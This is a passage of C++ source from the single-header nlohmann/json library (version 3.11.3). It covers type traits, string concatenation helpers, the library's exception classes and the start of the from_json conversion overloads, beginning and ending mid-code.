BasicJsonType, typename ConstructibleObjectType>\n    struct is_constructible_object_type\n        : is_constructible_object_type_impl<BasicJsonType,\n        ConstructibleObjectType> {\n    };\n\n    template<typename BasicJsonType, typename CompatibleStringType>\n    struct is_compatible_string_type\n    {\n        static constexpr auto value =\n            is_constructible<typename BasicJsonType::string_t, CompatibleStringType>::value;\n    };\n\n    template<typename BasicJsonType, typename ConstructibleStringType>\n    struct is_constructible_string_type\n    {\n        // launder type through decltype() to fix compilation failure on ICPC\n#ifdef __INTEL_COMPILER\n        using laundered_type = decltype(std::declval<ConstructibleStringType>());\n#else\n        using laundered_type = ConstructibleStringType;\n#endif\n\n        static constexpr auto value =\n            conjunction <\n            is_constructible<laundered_type, typename BasicJsonType::string_t>,\n            is_detected_exact<typename BasicJsonType::string_t::value_type,\n            value_type_t, laundered_type >>::value;\n    };\n\n    template<typename BasicJsonType, typename CompatibleArrayType, typename = void>\n    struct is_compatible_array_type_impl : std::false_type {};\n\n    template<typename BasicJsonType, typename CompatibleArrayType>\n    struct is_compatible_array_type_impl <\n        BasicJsonType, CompatibleArrayType,\n        enable_if_t <\n        is_detected<iterator_t, CompatibleArrayType>::value&&\n        is_iterator_traits<iterator_traits<detected_t<iterator_t, CompatibleArrayType>>>::value &&\n        // special case for types like std::filesystem::path whose iterator's value_type are themselves\n        // c.f. https://github.com/nlohmann/json/pull/3073\n        !std::is_same<CompatibleArrayType, detected_t<range_value_t, CompatibleArrayType>>::value >>\n    {\n        static constexpr bool value =\n            is_constructible<BasicJsonType,\n            range_value_t<CompatibleArrayType>>::value;\n    };\n\n    template<typename BasicJsonType, typename CompatibleArrayType>\n    struct is_compatible_array_type\n        : is_compatible_array_type_impl<BasicJsonType, CompatibleArrayType> {\n    };\n\n    template<typename BasicJsonType, typename ConstructibleArrayType, typename = void>\n    struct is_constructible_array_type_impl : std::false_type {};\n\n    template<typename BasicJsonType, typename ConstructibleArrayType>\n    struct is_constructible_array_type_impl <\n        BasicJsonType, ConstructibleArrayType,\n        enable_if_t<std::is_same<ConstructibleArrayType,\n        typename BasicJsonType::value_type>::value >>\n        : std::true_type {};\n\n    template<typename BasicJsonType, typename ConstructibleArrayType>\n    struct is_constructible_array_type_impl <\n        BasicJsonType, ConstructibleArrayType,\n        enable_if_t < !std::is_same<ConstructibleArrayType,\n        typename BasicJsonType::value_type>::value &&\n        !is_compatible_string_type<BasicJsonType, ConstructibleArrayType>::value&&\n        is_default_constructible<ConstructibleArrayType>::value &&\n        (std::is_move_assignable<ConstructibleArrayType>::value ||\n            std::is_copy_assignable<ConstructibleArrayType>::value) &&\n        is_detected<iterator_t, ConstructibleArrayType>::value&&\n        is_iterator_traits<iterator_traits<detected_t<iterator_t, ConstructibleArrayType>>>::value&&\n        is_detected<range_value_t, ConstructibleArrayType>::value &&\n        // special case for types like std::filesystem::path whose iterator's value_type are themselves\n        // c.f. https://github.com/nlohmann/json/pull/3073\n        !std::is_same<ConstructibleArrayType, detected_t<range_value_t, ConstructibleArrayType>>::value&&\n        is_complete_type <\n        detected_t<range_value_t, ConstructibleArrayType >>::value >>\n    {\n        using value_type = range_value_t<ConstructibleArrayType>;\n\n        static constexpr bool value =\n            std::is_same<value_type,\n            typename BasicJsonType::array_t::value_type>::value ||\n            has_from_json<BasicJsonType,\n            value_type>::value ||\n            has_non_default_from_json <\n            BasicJsonType,\n            value_type >::value;\n    };\n\n    template<typename BasicJsonType, typename ConstructibleArrayType>\n    struct is_constructible_array_type\n        : is_constructible_array_type_impl<BasicJsonType, ConstructibleArrayType> {\n    };\n\n    template<typename RealIntegerType, typename CompatibleNumberIntegerType,\n        typename = void>\n    struct is_compatible_integer_type_impl : std::false_type {};\n\n    template<typename RealIntegerType, typename CompatibleNumberIntegerType>\n    struct is_compatible_integer_type_impl <\n        RealIntegerType, CompatibleNumberIntegerType,\n        enable_if_t < std::is_integral<RealIntegerType>::value&&\n        std::is_integral<CompatibleNumberIntegerType>::value &&\n        !std::is_same<bool, CompatibleNumberIntegerType>::value >>\n    {\n        // is there an assert somewhere on overflows?\n        using RealLimits = std::numeric_limits<RealIntegerType>;\n        using CompatibleLimits = std::numeric_limits<CompatibleNumberIntegerType>;\n\n        static constexpr auto value =\n            is_constructible<RealIntegerType,\n            CompatibleNumberIntegerType>::value&&\n            CompatibleLimits::is_integer&&\n            RealLimits::is_signed == CompatibleLimits::is_signed;\n    };\n\n    template<typename RealIntegerType, typename CompatibleNumberIntegerType>\n    struct is_compatible_integer_type\n        : is_compatible_integer_type_impl<RealIntegerType,\n        CompatibleNumberIntegerType> {\n    };\n\n    template<typename BasicJsonType, typename CompatibleType, typename = void>\n    struct is_compatible_type_impl : std::false_type {};\n\n    template<typename BasicJsonType, typename CompatibleType>\n    struct is_compatible_type_impl <\n        BasicJsonType, CompatibleType,\n        enable_if_t<is_complete_type<CompatibleType>::value >>\n    {\n        static constexpr bool value =\n            has_to_json<BasicJsonType, CompatibleType>::value;\n    };\n\n    template<typename BasicJsonType, typename CompatibleType>\n    struct is_compatible_type\n        : is_compatible_type_impl<BasicJsonType, CompatibleType> {\n    };\n\n    template<typename T1, typename T2>\n    struct is_constructible_tuple : std::false_type {};\n\n    template<typename T1, typename... Args>\n    struct is_constructible_tuple<T1, std::tuple<Args...>> : conjunction<is_constructible<T1, Args>...> {};\n\n    template<typename BasicJsonType, typename T>\n    struct is_json_iterator_of : std::false_type {};\n\n    template<typename BasicJsonType>\n    struct is_json_iterator_of<BasicJsonType, typename BasicJsonType::iterator> : std::true_type {};\n\n    template<typename BasicJsonType>\n    struct is_json_iterator_of<BasicJsonType, typename BasicJsonType::const_iterator> : std::true_type\n    {\n    };\n\n    // checks if a given type T is a template specialization of Primary\n    template<template <typename...> class Primary, typename T>\n    struct is_specialization_of : std::false_type {};\n\n    template<template <typename...> class Primary, typename... Args>\n    struct is_specialization_of<Primary, Primary<Args...>> : std::true_type {};\n\n    template<typename T>\n    using is_json_pointer = is_specialization_of<::nlohmann::json_pointer, uncvref_t<T>>;\n\n    // checks if A and B are comparable using Compare functor\n    template<typename Compare, typename A, typename B, typename = void>\n    struct is_comparable : std::false_type {};\n\n    template<typename Compare, typename A, typename B>\n    struct is_comparable<Compare, A, B, void_t<\n        decltype(std::declval<Compare>()(std::declval<A>(), std::declval<B>())),\n        decltype(std::declval<Compare>()(std::declval<B>(), std::declval<A>()))\n        >> : std::true_type {};\n\n    template<typename T>\n    using detect_is_transparent = typename T::is_transparent;\n\n    // type trait to check if KeyType can be used as object key (without a BasicJsonType)\n    // see is_usable_as_basic_json_key_type below\n    template<typename Comparator, typename ObjectKeyType, typename KeyTypeCVRef, bool RequireTransparentComparator = true,\n        bool ExcludeObjectKeyType = RequireTransparentComparator, typename KeyType = uncvref_t<KeyTypeCVRef>>\n        using is_usable_as_key_type = typename std::conditional <\n        is_comparable<Comparator, ObjectKeyType, KeyTypeCVRef>::value\n        && !(ExcludeObjectKeyType&& std::is_same<KeyType,\n            ObjectKeyType>::value)\n        && (!RequireTransparentComparator\n            || is_detected <detect_is_transparent, Comparator>::value)\n        && !is_json_pointer<KeyType>::value,\n        std::true_type,\n        std::false_type >::type;\n\n    // type trait to check if KeyType can be used as object key\n    // true if:\n    //   - KeyType is comparable with BasicJsonType::object_t::key_type\n    //   - if ExcludeObjectKeyType is true, KeyType is not BasicJsonType::object_t::key_type\n    //   - the comparator is transparent or RequireTransparentComparator is false\n    //   - KeyType is not a JSON iterator or json_pointer\n    template<typename BasicJsonType, typename KeyTypeCVRef, bool RequireTransparentComparator = true,\n        bool ExcludeObjectKeyType = RequireTransparentComparator, typename KeyType = uncvref_t<KeyTypeCVRef>>\n        using is_usable_as_basic_json_key_type = typename std::conditional <\n        is_usable_as_key_type<typename BasicJsonType::object_comparator_t,\n        typename BasicJsonType::object_t::key_type, KeyTypeCVRef,\n        RequireTransparentComparator, ExcludeObjectKeyType>::value\n        && !is_json_iterator_of<BasicJsonType, KeyType>::value,\n        std::true_type,\n        std::false_type >::type;\n\n    template<typename ObjectType, typename KeyType>\n    using detect_erase_with_key_type = decltype(std::declval<ObjectType&>().erase(std::declval<KeyType>()));\n\n    // type trait to check if object_t has an erase() member functions accepting KeyType\n    template<typename BasicJsonType, typename KeyType>\n    using has_erase_with_key_type = typename std::conditional <\n        is_detected <\n        detect_erase_with_key_type,\n        typename BasicJsonType::object_t, KeyType >::value,\n        std::true_type,\n        std::false_type >::type;\n\n    // a naive helper to check if a type is an ordered_map (exploits the fact that\n    // ordered_map inherits capacity() from std::vector)\n    template <typename T>\n    struct is_ordered_map\n    {\n        using one = char;\n\n        struct two\n        {\n            char x[2]; // NOLINT(cppcoreguidelines-avoid-c-arrays,hicpp-avoid-c-arrays,modernize-avoid-c-arrays)\n        };\n\n        template <typename C> static one test(decltype(&C::capacity));\n        template <typename C> static two test(...);\n\n        enum { value = sizeof(test<T>(nullptr)) == sizeof(char) }; // NOLINT(cppcoreguidelines-pro-type-vararg,hicpp-vararg)\n    };\n\n    // to avoid useless casts (see https://github.com/nlohmann/json/issues/2893#issuecomment-889152324)\n    template < typename T, typename U, enable_if_t < !std::is_same<T, U>::value, int > = 0 >\n    T conditional_static_cast(U value)\n    {\n        return static_cast<T>(value);\n    }\n\n    template<typename T, typename U, enable_if_t<std::is_same<T, U>::value, int> = 0>\n    T conditional_static_cast(U value)\n    {\n        return value;\n    }\n\n    template<typename... Types>\n    using all_integral = conjunction<std::is_integral<Types>...>;\n\n    template<typename... Types>\n    using all_signed = conjunction<std::is_signed<Types>...>;\n\n    template<typename... Types>\n    using all_unsigned = conjunction<std::is_unsigned<Types>...>;\n\n    // there's a disjunction trait in another PR; replace when merged\n    template<typename... Types>\n    using same_sign = std::integral_constant < bool,\n        all_signed<Types...>::value || all_unsigned<Types...>::value >;\n\n    template<typename OfType, typename T>\n    using never_out_of_range = std::integral_constant < bool,\n        (std::is_signed<OfType>::value && (sizeof(T) < sizeof(OfType)))\n        || (same_sign<OfType, T>::value && sizeof(OfType) == sizeof(T)) >;\n\n    template<typename OfType, typename T,\n        bool OfTypeSigned = std::is_signed<OfType>::value,\n        bool TSigned = std::is_signed<T>::value>\n    struct value_in_range_of_impl2;\n\n    template<typename OfType, typename T>\n    struct value_in_range_of_impl2<OfType, T, false, false>\n    {\n        static constexpr bool test(T val)\n        {\n            using CommonType = typename std::common_type<OfType, T>::type;\n            return static_cast<CommonType>(val) <= static_cast<CommonType>((std::numeric_limits<OfType>::max)());\n        }\n    };\n\n    template<typename OfType, typename T>\n    struct value_in_range_of_impl2<OfType, T, true, false>\n    {\n        static constexpr bool test(T val)\n        {\n            using CommonType = typename std::common_type<OfType, T>::type;\n            return static_cast<CommonType>(val) <= static_cast<CommonType>((std::numeric_limits<OfType>::max)());\n        }\n    };\n\n    template<typename OfType, typename T>\n    struct value_in_range_of_impl2<OfType, T, false, true>\n    {\n        static constexpr bool test(T val)\n        {\n            using CommonType = typename std::common_type<OfType, T>::type;\n            return val >= 0 && static_cast<CommonType>(val) <= static_cast<CommonType>((std::numeric_limits<OfType>::max)());\n        }\n    };\n\n    template<typename OfType, typename T>\n    struct value_in_range_of_impl2<OfType, T, true, true>\n    {\n        static constexpr bool test(T val)\n        {\n            using CommonType = typename std::common_type<OfType, T>::type;\n            return static_cast<CommonType>(val) >= static_cast<CommonType>((std::numeric_limits<OfType>::min)())\n                && static_cast<CommonType>(val) <= static_cast<CommonType>((std::numeric_limits<OfType>::max)());\n        }\n    };\n\n    template<typename OfType, typename T,\n        bool NeverOutOfRange = never_out_of_range<OfType, T>::value,\n        typename = detail::enable_if_t<all_integral<OfType, T>::value>>\n        struct value_in_range_of_impl1;\n\n    template<typename OfType, typename T>\n    struct value_in_range_of_impl1<OfType, T, false>\n    {\n        static constexpr bool test(T val)\n        {\n            return value_in_range_of_impl2<OfType, T>::test(val);\n        }\n    };\n\n    template<typename OfType, typename T>\n    struct value_in_range_of_impl1<OfType, T, true>\n    {\n        static constexpr bool test(T /*val*/)\n        {\n            return true;\n        }\n    };\n\n    template<typename OfType, typename T>\n    inline constexpr bool value_in_range_of(T val)\n    {\n        return value_in_range_of_impl1<OfType, T>::test(val);\n    }\n\n    template<bool Value>\n    using bool_constant = std::integral_constant<bool, Value>;\n\n    ///////////////////////////////////////////////////////////////////////////////\n    // is_c_string\n    ///////////////////////////////////////////////////////////////////////////////\n\n    namespace impl\n    {\n\n        template<typename T>\n        inline constexpr bool is_c_string()\n        {\n            using TUnExt = typename std::remove_extent<T>::type;\n            using TUnCVExt = typename std::remove_cv<TUnExt>::type;\n            using TUnPtr = typename std::remove_pointer<T>::type;\n            using TUnCVPtr = typename std::remove_cv<TUnPtr>::type;\n            return\n                (std::is_array<T>::value && std::is_same<TUnCVExt, char>::value)\n                || (std::is_pointer<T>::value && std::is_same<TUnCVPtr, char>::value);\n        }\n\n    }  // namespace impl\n\n    // checks whether T is a [cv] char */[cv] char[] C string\n    template<typename T>\n    struct is_c_string : bool_constant<impl::is_c_string<T>()> {};\n\n    template<typename T>\n    using is_c_string_uncvref = is_c_string<uncvref_t<T>>;\n\n    ///////////////////////////////////////////////////////////////////////////////\n    // is_transparent\n    ///////////////////////////////////////////////////////////////////////////////\n\n    namespace impl\n    {\n\n        template<typename T>\n        inline constexpr bool is_transparent()\n        {\n            return is_detected<detect_is_transparent, T>::value;\n        }\n\n    }  // namespace impl\n\n    // checks whether T has a member named is_transparent\n    template<typename T>\n    struct is_transparent : bool_constant<impl::is_transparent<T>()> {};\n\n    ///////////////////////////////////////////////////////////////////////////////\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/string_concat.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstring> // strlen\n#include <string> // string\n#include <utility> // forward\n\n// #include <nlohmann/detail/meta/cpp_future.hpp>\n\n// #include <nlohmann/detail/meta/detected.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    inline std::size_t concat_length()\n    {\n        return 0;\n    }\n\n    template<typename... Args>\n    inline std::size_t concat_length(const char* cstr, const Args& ... rest);\n\n    template<typename StringType, typename... Args>\n    inline std::size_t concat_length(const StringType& str, const Args& ... rest);\n\n    template<typename... Args>\n    inline std::size_t concat_length(const char /*c*/, const Args& ... rest)\n    {\n        return 1 + concat_length(rest...);\n    }\n\n    template<typename... Args>\n    inline std::size_t concat_length(const char* cstr, const Args& ... rest)\n    {\n        // cppcheck-suppress ignoredReturnValue\n        return ::strlen(cstr) + concat_length(rest...);\n    }\n\n    template<typename StringType, typename... Args>\n    inline std::size_t concat_length(const StringType& str, const Args& ... rest)\n    {\n        return str.size() + concat_length(rest...);\n    }\n\n    template<typename OutStringType>\n    inline void concat_into(OutStringType& /*out*/)\n    {\n    }\n\n    template<typename StringType, typename Arg>\n    using string_can_append = decltype(std::declval<StringType&>().append(std::declval < Arg&& >()));\n\n    template<typename StringType, typename Arg>\n    using detect_string_can_append = is_detected<string_can_append, StringType, Arg>;\n\n    template<typename StringType, typename Arg>\n    using string_can_append_op = decltype(std::declval<StringType&>() += std::declval < Arg&& >());\n\n    template<typename StringType, typename Arg>\n    using detect_string_can_append_op = is_detected<string_can_append_op, StringType, Arg>;\n\n    template<typename StringType, typename Arg>\n    using string_can_append_iter = decltype(std::declval<StringType&>().append(std::declval<const Arg&>().begin(), std::declval<const Arg&>().end()));\n\n    template<typename StringType, typename Arg>\n    using detect_string_can_append_iter = is_detected<string_can_append_iter, StringType, Arg>;\n\n    template<typename StringType, typename Arg>\n    using string_can_append_data = decltype(std::declval<StringType&>().append(std::declval<const Arg&>().data(), std::declval<const Arg&>().size()));\n\n    template<typename StringType, typename Arg>\n    using detect_string_can_append_data = is_detected<string_can_append_data, StringType, Arg>;\n\n    template < typename OutStringType, typename Arg, typename... Args,\n        enable_if_t < !detect_string_can_append<OutStringType, Arg>::value\n        && detect_string_can_append_op<OutStringType, Arg>::value, int > = 0 >\n    inline void concat_into(OutStringType& out, Arg&& arg, Args && ... rest);\n\n    template < typename OutStringType, typename Arg, typename... Args,\n        enable_if_t < !detect_string_can_append<OutStringType, Arg>::value\n        && !detect_string_can_append_op<OutStringType, Arg>::value\n        && detect_string_can_append_iter<OutStringType, Arg>::value, int > = 0 >\n    inline void concat_into(OutStringType& out, const Arg& arg, Args && ... rest);\n\n    template < typename OutStringType, typename Arg, typename... Args,\n        enable_if_t < !detect_string_can_append<OutStringType, Arg>::value\n        && !detect_string_can_append_op<OutStringType, Arg>::value\n        && !detect_string_can_append_iter<OutStringType, Arg>::value\n        && detect_string_can_append_data<OutStringType, Arg>::value, int > = 0 >\n    inline void concat_into(OutStringType& out, const Arg& arg, Args && ... rest);\n\n    template<typename OutStringType, typename Arg, typename... Args,\n        enable_if_t<detect_string_can_append<OutStringType, Arg>::value, int> = 0>\n    inline void concat_into(OutStringType& out, Arg&& arg, Args && ... rest)\n    {\n        out.append(std::forward<Arg>(arg));\n        concat_into(out, std::forward<Args>(rest)...);\n    }\n\n    template < typename OutStringType, typename Arg, typename... Args,\n        enable_if_t < !detect_string_can_append<OutStringType, Arg>::value\n        && detect_string_can_append_op<OutStringType, Arg>::value, int > >\n    inline void concat_into(OutStringType& out, Arg&& arg, Args&& ... rest)\n    {\n        out += std::forward<Arg>(arg);\n        concat_into(out, std::forward<Args>(rest)...);\n    }\n\n    template < typename OutStringType, typename Arg, typename... Args,\n        enable_if_t < !detect_string_can_append<OutStringType, Arg>::value\n        && !detect_string_can_append_op<OutStringType, Arg>::value\n        && detect_string_can_append_iter<OutStringType, Arg>::value, int > >\n    inline void concat_into(OutStringType& out, const Arg& arg, Args&& ... rest)\n    {\n        out.append(arg.begin(), arg.end());\n        concat_into(out, std::forward<Args>(rest)...);\n    }\n\n    template < typename OutStringType, typename Arg, typename... Args,\n        enable_if_t < !detect_string_can_append<OutStringType, Arg>::value\n        && !detect_string_can_append_op<OutStringType, Arg>::value\n        && !detect_string_can_append_iter<OutStringType, Arg>::value\n        && detect_string_can_append_data<OutStringType, Arg>::value, int > >\n    inline void concat_into(OutStringType& out, const Arg& arg, Args&& ... rest)\n    {\n        out.append(arg.data(), arg.size());\n        concat_into(out, std::forward<Args>(rest)...);\n    }\n\n    template<typename OutStringType = std::string, typename... Args>\n    inline OutStringType concat(Args && ... args)\n    {\n        OutStringType str;\n        str.reserve(concat_length(args...));\n        concat_into(str, std::forward<Args>(args)...);\n        return str;\n    }\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    ////////////////\n    // exceptions //\n    ////////////////\n\n    /// @brief general exception of the @ref basic_json class\n    /// @sa https://json.nlohmann.me/api/basic_json/exception/\n    class exception : public std::exception\n    {\n    public:\n        /// returns the explanatory string\n        const char* what() const noexcept override\n        {\n            return m.what();\n        }\n\n        /// the id of the exception\n        const int id; // NOLINT(cppcoreguidelines-non-private-member-variables-in-classes)\n\n    protected:\n        JSON_HEDLEY_NON_NULL(3)\n            exception(int id_, const char* what_arg) : id(id_), m(what_arg) {} // NOLINT(bugprone-throw-keyword-missing)\n\n        static std::string name(const std::string& ename, int id_)\n        {\n            return concat(\"[json.exception.\", ename, '.', std::to_string(id_), \"] \");\n        }\n\n        static std::string diagnostics(std::nullptr_t /*leaf_element*/)\n        {\n            return \"\";\n        }\n\n        template<typename BasicJsonType>\n        static std::string diagnostics(const BasicJsonType* leaf_element)\n        {\n#if JSON_DIAGNOSTICS\n            std::vector<std::string> tokens;\n            for (const auto* current = leaf_element; current != nullptr && current->m_parent != nullptr; current = current->m_parent)\n            {\n                switch (current->m_parent->type())\n                {\n                case value_t::array:\n                {\n                    for (std::size_t i = 0; i < current->m_parent->m_data.m_value.array->size(); ++i)\n                    {\n                        if (&current->m_parent->m_data.m_value.array->operator[](i) == current)\n                        {\n                            tokens.emplace_back(std::to_string(i));\n                            break;\n                        }\n                    }\n                    break;\n                }\n\n                case value_t::object:\n                {\n                    for (const auto& element : *current->m_parent->m_data.m_value.object)\n                    {\n                        if (&element.second == current)\n                        {\n                            tokens.emplace_back(element.first.c_str());\n                            break;\n                        }\n                    }\n                    break;\n                }\n\n                case value_t::null: // LCOV_EXCL_LINE\n                case value_t::string: // LCOV_EXCL_LINE\n                case value_t::boolean: // LCOV_EXCL_LINE\n                case value_t::number_integer: // LCOV_EXCL_LINE\n                case value_t::number_unsigned: // LCOV_EXCL_LINE\n                case value_t::number_float: // LCOV_EXCL_LINE\n                case value_t::binary: // LCOV_EXCL_LINE\n                case value_t::discarded: // LCOV_EXCL_LINE\n                default:   // LCOV_EXCL_LINE\n                    break; // LCOV_EXCL_LINE\n                }\n            }\n\n            if (tokens.empty())\n            {\n                return \"\";\n            }\n\n            auto str = std::accumulate(tokens.rbegin(), tokens.rend(), std::string{},\n                [](const std::string& a, const std::string& b)\n                {\n                    return concat(a, '/', detail::escape(b));\n                });\n            return concat('(', str, \") \");\n#else\n            static_cast<void>(leaf_element);\n            return \"\";\n#endif\n        }\n\n    private:\n        /// an exception object as storage for error messages\n        std::runtime_error m;\n    };\n\n    /// @brief exception indicating a parse error\n    /// @sa https://json.nlohmann.me/api/basic_json/parse_error/\n    class parse_error : public exception\n    {\n    public:\n        /*!\n        @brief create a parse error exception\n        @param[in] id_       the id of the exception\n        @param[in] pos       the position where the error occurred (or with\n                             chars_read_total=0 if the position cannot be\n                             determined)\n        @param[in] what_arg  the explanatory string\n        @return parse_error object\n        */\n        template<typename BasicJsonContext, enable_if_t<is_basic_json_context<BasicJsonContext>::value, int> = 0>\n        static parse_error create(int id_, const position_t& pos, const std::string& what_arg, BasicJsonContext context)\n        {\n            const std::string w = concat(exception::name(\"parse_error\", id_), \"parse error\",\n                position_string(pos), \": \", exception::diagnostics(context), what_arg);\n            return { id_, pos.chars_read_total, w.c_str() };\n        }\n\n        template<typename BasicJsonContext, enable_if_t<is_basic_json_context<BasicJsonContext>::value, int> = 0>\n        static parse_error create(int id_, std::size_t byte_, const std::string& what_arg, BasicJsonContext context)\n        {\n            const std::string w = concat(exception::name(\"parse_error\", id_), \"parse error\",\n                (byte_ != 0 ? (concat(\" at byte \", std::to_string(byte_))) : \"\"),\n                \": \", exception::diagnostics(context), what_arg);\n            return { id_, byte_, w.c_str() };\n        }\n\n        /*!\n        @brief byte index of the parse error\n\n        The byte index of the last read character in the input file.\n\n        @note For an input with n bytes, 1 is the index of the first character and\n              n+1 is the index of the terminating null byte or the end of file.\n              This also holds true when reading a byte vector (CBOR or MessagePack).\n        */\n        const std::size_t byte;\n\n    private:\n        parse_error(int id_, std::size_t byte_, const char* what_arg)\n            : exception(id_, what_arg), byte(byte_) {\n        }\n\n        static std::string position_string(const position_t& pos)\n        {\n            return concat(\" at line \", std::to_string(pos.lines_read + 1),\n                \", column \", std::to_string(pos.chars_read_current_line));\n        }\n    };\n\n    /// @brief exception indicating errors with iterators\n    /// @sa https://json.nlohmann.me/api/basic_json/invalid_iterator/\n    class invalid_iterator : public exception\n    {\n    public:\n        template<typename BasicJsonContext, enable_if_t<is_basic_json_context<BasicJsonContext>::value, int> = 0>\n        static invalid_iterator create(int id_, const std::string& what_arg, BasicJsonContext context)\n        {\n            const std::string w = concat(exception::name(\"invalid_iterator\", id_), exception::diagnostics(context), what_arg);\n            return { id_, w.c_str() };\n        }\n\n    private:\n        JSON_HEDLEY_NON_NULL(3)\n            invalid_iterator(int id_, const char* what_arg)\n            : exception(id_, what_arg) {\n        }\n    };\n\n    /// @brief exception indicating executing a member function with a wrong type\n    /// @sa https://json.nlohmann.me/api/basic_json/type_error/\n    class type_error : public exception\n    {\n    public:\n        template<typename BasicJsonContext, enable_if_t<is_basic_json_context<BasicJsonContext>::value, int> = 0>\n        static type_error create(int id_, const std::string& what_arg, BasicJsonContext context)\n        {\n            const std::string w = concat(exception::name(\"type_error\", id_), exception::diagnostics(context), what_arg);\n            return { id_, w.c_str() };\n        }\n\n    private:\n        JSON_HEDLEY_NON_NULL(3)\n            type_error(int id_, const char* what_arg) : exception(id_, what_arg) {}\n    };\n\n    /// @brief exception indicating access out of the defined range\n    /// @sa https://json.nlohmann.me/api/basic_json/out_of_range/\n    class out_of_range : public exception\n    {\n    public:\n        template<typename BasicJsonContext, enable_if_t<is_basic_json_context<BasicJsonContext>::value, int> = 0>\n        static out_of_range create(int id_, const std::string& what_arg, BasicJsonContext context)\n        {\n            const std::string w = concat(exception::name(\"out_of_range\", id_), exception::diagnostics(context), what_arg);\n            return { id_, w.c_str() };\n        }\n\n    private:\n        JSON_HEDLEY_NON_NULL(3)\n            out_of_range(int id_, const char* what_arg) : exception(id_, what_arg) {}\n    };\n\n    /// @brief exception indicating other library errors\n    /// @sa https://json.nlohmann.me/api/basic_json/other_error/\n    class other_error : public exception\n    {\n    public:\n        template<typename BasicJsonContext, enable_if_t<is_basic_json_context<BasicJsonContext>::value, int> = 0>\n        static other_error create(int id_, const std::string& what_arg, BasicJsonContext context)\n        {\n            const std::string w = concat(exception::name(\"other_error\", id_), exception::diagnostics(context), what_arg);\n            return { id_, w.c_str() };\n        }\n\n    private:\n        JSON_HEDLEY_NON_NULL(3)\n            other_error(int id_, const char* what_arg) : exception(id_, what_arg) {}\n    };\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/cpp_future.hpp>\n\n// #include <nlohmann/detail/meta/identity_tag.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    // dispatching helper struct\n    template <class T> struct identity_tag {};\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/meta/std_fs.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n\n#if JSON_HAS_EXPERIMENTAL_FILESYSTEM\n#include <experimental/filesystem>\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n    namespace std_fs = std::experimental::filesystem;\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n#elif JSON_HAS_FILESYSTEM\n#include <filesystem>\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n    namespace std_fs = std::filesystem;\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n#endif\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n// #include <nlohmann/detail/string_concat.hpp>\n\n// #include <nlohmann/detail/value_t.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    template<typename BasicJsonType>\n    inline void from_json(const BasicJsonType& j, typename std::nullptr_t& n)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_null()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be null, but is \", j.type_name()), &j));\n        }\n        n = nullptr;\n    }\n\n    // overloads for basic_json template parameters\n    template < typename BasicJsonType, typename ArithmeticType,\n        enable_if_t < std::is_arithmetic<ArithmeticType>::value &&\n        !std::is_same<ArithmeticType, typename BasicJsonType::boolean_t>::value,\n        int > = 0 >\n    void get_arithmetic_value(const BasicJsonType& j, ArithmeticType& val)\n    {\n        switch (static_cast<value_t>(j))\n        {\n        case value_t::number_unsigned:\n        {\n            val = static_cast<ArithmeticType>(*j.template get_ptr<const typename BasicJsonType::number_unsigned_t*>());\n            break;\n        }\n        case value_t::number_integer:\n        {\n            val = static_cast<ArithmeticType>(*j.template get_ptr<const typename BasicJsonType::number_integer_t*>());\n            break;\n        }\n        case value_t::number_float:\n        {\n            val = static_cast<ArithmeticType>(*j.template get_ptr<const typename BasicJsonType::number_float_t*>());\n            break;\n        }\n\n        case value_t::null:\n        case value_t::object:\n        case value_t::array:\n        case value_t::string:\n        case value_t::boolean:\n        case value_t::binary:\n        case value_t::discarded:\n        default:\n            JSON_THROW(type_error::create(302, concat(\"type must be number, but is \", j.type_name()), &j));\n        }\n    }\n\n    template<typename BasicJsonType>\n    inline void from_json(const BasicJsonType& j, typename BasicJsonType::boolean_t& b)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_boolean()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be boolean, but is \", j.type_name()), &j));\n        }\n        b = *j.template get_ptr<const typename BasicJsonType::boolean_t*>();\n    }\n\n    template<typename BasicJsonType>\n    inline void from_json(const BasicJsonType& j, typename BasicJsonType::string_t& s)\n    {\n        if (JSON_HEDLEY_UNLIKELY(!j.is_string()))\n        {\n            JSON_THROW(type_error::create(302, concat(\"type must be string, but is \", j.type_name()), &j));\n        }\n        s = *j.template get_ptr<const typename BasicJsonType::string_t*>();\n    }\n\n    template <\n        typename 